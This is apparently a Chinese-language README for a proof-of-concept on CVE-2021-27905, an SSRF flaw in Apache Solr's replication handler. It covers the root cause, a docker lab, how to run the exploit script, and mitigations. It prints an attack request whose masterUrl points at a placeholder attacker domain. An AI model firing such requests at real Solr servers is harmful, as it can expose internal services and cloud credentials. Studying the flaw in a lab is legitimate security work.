| 序号 | 标题 |
|---|---|
| 1 | 概述 |
| 2 | 根本原因 |
| 3 | 概念验证 |
| 4 | 缓解措施 (8.8.2+) |
| 5 | 参考 |
仅供教育和研究目的使用。请勿在你不拥有或未经明确许可测试的系统上使用此代码。我对任何滥用行为概不负责。
这是一个影响 Apache Solr(< 8.8.2)的服务器端请求伪造(SSRF)漏洞,允许远程攻击者通过复制处理器的 masterUrl 参数向内部或外部系统发起任意 HTTP 请求,从而可能暴露内部服务或敏感的云元数据。
受影响版本:所有 8.8.2 之前的版本(7.0.0 - 7.7.3, 8.0.0 - 8.8.1)
Solr 中的复制机制允许“replica”通过指定 masterUrl 或 leaderUrl 参数从“master/leader”获取索引文件。在受影响的 Apache Solr 版本中,通过该参数指向的 URL 未经过正确验证。因此,攻击者可以诱使服务器访问其选择的远程资源。
漏洞流程
/solr/<CORE_NAME>/replication?command=fetchindex&masterUrl=http://<ATTACKER_DOMAIN>
Solr 的 ReplicationHandler 会:
masterUrl 下载索引数据。实验室搭建
$ cd lab
$ docker compose up -d
# verify accessibility
$ curl http://127.0.0.1:8983/solr
$ docker compose down
利用
# for windows
$ python -m venv <NAME>
$ .\<NAME>\Scripts\activate
# for linux
$ python3 -m venv <NAME>
$ source ./<NAME>/scripts/activate
$ pip install -r requirements.txt
cve-2021-27905.py$ python3 cve-2021-27905.py --target <TARGET> --payload <SSRF_PAYLOAD>

Solr ReplicationHandler 已打补丁,以:
masterUrl/leaderUrl 仅指向受信任的主机。http、https)。/replication 添加身份验证,或在未使用时彻底移除。